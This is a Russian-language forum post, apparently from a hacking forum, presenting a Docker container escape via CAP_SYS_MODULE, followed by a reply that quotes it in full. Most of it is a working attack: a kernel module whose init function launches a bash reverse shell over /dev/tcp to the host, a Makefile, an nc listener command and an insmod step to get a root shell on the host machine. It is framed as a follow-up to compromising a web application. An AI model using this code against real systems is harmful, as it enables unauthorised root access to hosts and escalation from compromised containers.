• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Выход из Docker в машину родителя

random12345

RAID-массив
Забанен
Регистрация
24.06.2020
Сообщения
51
Реакции
-3
Пожалуйста, обратите внимание, что пользователь заблокирован
В реалиях 21 века все чаще и чаще на докер контейнерах разворачиваются сервера, web приложения, хосты.
Но проблемы с безопасностью не кто не отменял, к примеру через уязвимость в веб приложении мы получаем шелл и попадаем в докер контейнер повезло если с правами root, и если повезло и получилось поднять привелегии, а может быть и от юзера разрешено , что дальше? Смотрим.

Расскажу и покажу один из примеров как можно выйти из контейнера в тачку на которой этот контейнер поднят.

Кароч смотрим есть ли у нас такая возможность

capsh --print

capshPrint.png
DF


Простор для полетов широк, нас интересует самое сладкое это CAP_SYS_MODULE подробнее о capabilities https://linux-audit.com/linux-capabilities-101/


смотрим ip нашей тачки
ip.png



мы 172.17.0.2 а наш хост на которой поднят Docker в этом случае будет 172.17.0.1


Пишем код

C:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("random12345(C)");
MODULE_DESCRIPTION("reverse shell");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/"ipaddress"/"port" 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);


По коду
Функция call_usermodehelper используется для создания процессов пользовательского режима из пространства ядра.
Функция call_usermodehelper принимает три параметра: argv, envp и UMH_WAIT_EXEC.
Аргументы программы хранятся в argv.
Переменные среды хранятся в envp.
UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит программу.

Сохраняем указанную выше программу как «reverse.c».


Создаем Makefile и компилим
obj-m +=reverse.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean[/CODE]


Собираем:
make

поднимаем листнера для принятия рутового шела с тачки родителя 8): nc -vnlp 4444
Запускаем скрипт:

insmod reverse.ko

.....magic.....

Наслаждаемся выходом из контейнера в тачку на которой его подняли! ЁУ

Ссылки:
docker.com

p.s

В новых ядрах начиная с 2.6 поддержка загрузки сетевых модулей при помощи CAP_SYS_MODULE признана устаревшей. И при попытке использовать виртуальные адаптеры в логах появляется сообщение:

Loading kernel module for a network device with CAP_SYS_MODULE (deprecated). Use CAP_NET_ADMIN and alias netdev-tun instead


Для того, чтобы исправить нужно в файл /etc/modprobe.d/dist.conf ( если файл не существует, то нужно создать ) добавить строку:

alias netdev-tun tun


В зависимости от имени интерфейса на которое ругается в сообщении.
 
Последнее редактирование:
Но проблемы с безопасностью не кто не отменял, к примеру через уязвимость в веб приложении мы получаем шелл и попадаем в докер контейнер повезло если с правами root, и если повезло и получилось поднять привелегии, а может быть и от юзера разрешено , что дальше? Смотрим.

Расскажу и покажу один из примеров как можно выйти из контейнера в тачку на которой этот контейнер поднят.

Кароч смотрим есть ли у нас такая возможность

capsh --print

Посмотреть вложение 18143DF


Простор для полетов широк, нас интересует самое сладкое это CAP_SYS_MODULE подробнее о capabilities https://linux-audit.com/linux-capabilities-101/


смотрим ip нашей тачки
Посмотреть вложение 18144





Пишем код

C:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("random12345(C)");
MODULE_DESCRIPTION("reverse shell");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/"ipaddress"/"port" 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);


По коду
Функция call_usermodehelper используется для создания процессов пользовательского режима из пространства ядра.
Функция call_usermodehelper принимает три параметра: argv, envp и UMH_WAIT_EXEC.
Аргументы программы хранятся в argv.
Переменные среды хранятся в envp.
UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит программу.

Сохраняем указанную выше программу как «reverse.c».


Создаем Makefile и компилим
obj-m +=reverse.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean[/CODE]


Собираем:
make

поднимаем листнера для принятия рутового шела с тачки родителя 8): nc -vnlp 4444
Запускаем скрипт:

insmod reverse.ko

.....magic.....

Наслаждаемся выходом из контейнера в тачку на которой его подняли! ЁУ

Ссылки:
docker.com

p.s

В новых ядрах начиная с 2.6 поддержка загрузки сетевых модулей при помощи CAP_SYS_MODULE признана устаревшей. И при попытке использовать виртуальные адаптеры в логах появляется сообщение:

Loading kernel module for a network device with CAP_SYS_MODULE (deprecated). Use CAP_NET_ADMIN and alias netdev-tun instead


Для того, чтобы исправить нужно в файл /etc/modprobe.d/dist.conf ( если файл не существует, то нужно создать ) добавить строку:

alias netdev-tun tun


В зависимости от имени интерфейса на которое ругается в сообщении.
А если insmod нету?)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх